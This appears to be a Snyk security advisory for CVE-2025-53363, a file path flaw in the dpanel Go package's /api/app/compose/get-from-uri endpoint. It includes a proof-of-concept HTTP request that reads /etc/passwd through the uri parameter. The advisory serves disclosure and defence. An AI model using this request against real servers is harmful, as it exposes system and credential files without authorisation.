External Control of File Name or Path Affecting github.com/donknap/dpanel/app/application/http/controller package, versions >=1.2.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMDONKNAPDPANELAPPAPPLICATIONHTTPCONTROLLER-12179268
  • published25 Aug 2025
  • disclosed22 Aug 2025
  • creditLTLTLXEY

Introduced: 22 Aug 2025

NewCVE-2025-53363  (opens in a new tab)
CWE-73  (opens in a new tab)

How to fix?

There is no fixed version for github.com/donknap/dpanel/app/application/http/controller.

Overview

Affected versions of this package are vulnerable to External Control of File Name or Path via the /api/app/compose/get-from-uri endpoint, which uses the GetFromUri function. A user can access arbitrary files on the server by passing arbitrary paths as the uri parameter. This is only exploitable if the user has access to the administrative backend.

PoC

POST /api/app/compose/get-from-uri HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Authorization: Bearer ...
Connection: close
Content-Type: application/json
Content-Length: 21

{"uri":"/etc/passwd"}

References

CVSS Base Scores

version 4.0
version 3.1